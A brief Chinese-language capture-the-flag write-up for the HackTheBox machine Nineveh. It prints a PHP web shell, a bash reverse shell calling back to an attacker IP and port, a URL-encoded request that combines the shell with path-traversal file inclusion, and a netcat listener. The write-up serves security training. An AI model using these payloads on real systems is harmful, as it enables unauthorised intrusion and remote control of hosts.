Nineveh
在 Nineveh 這台靶機中,我們利用 Hydra 爆破了 https://nineveh.htb/db 的登入頁面,在裡面我們可以任意修改資料庫:

資料庫被存在 /var/tmp/,恰好在另外一個網頁 http://nineveh.htb/department/ 找到了 File Inclusion,
通常會直接用簡單的
<?php system($_GET['cmd']); ?>配合簡單的 Reverse Shell:
bash -c 'sh -i >& /dev/tcp/10.10.17.56/6061 0>&1'
要記得加上
bash -cPHP 的
system()會利用/bin/sh -c執行指令,而/dev/tcp/host/port是 Bash 自己的語法糖,所以 Dash 並不支援,所以必須額外呼叫 Bash 才能順利執行。就變得很像:
dash -c "bash -c 'sh -i >& /dev/tcp/10.10.17.56/6061 0>&1'"
要記得 URL Encode
DenCode 是個很不錯的選擇
組合拳打下來長這個樣子:
GET /department/manage.php?cmd=bash+-c+%27sh+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.17.56%2F6061+0%3E%261%27¬es=files/ninevehNotes/../../../../../../var/tmp/test HTTP/1.1
在本地 nc -lvnp 6061 就會噴 shell 了。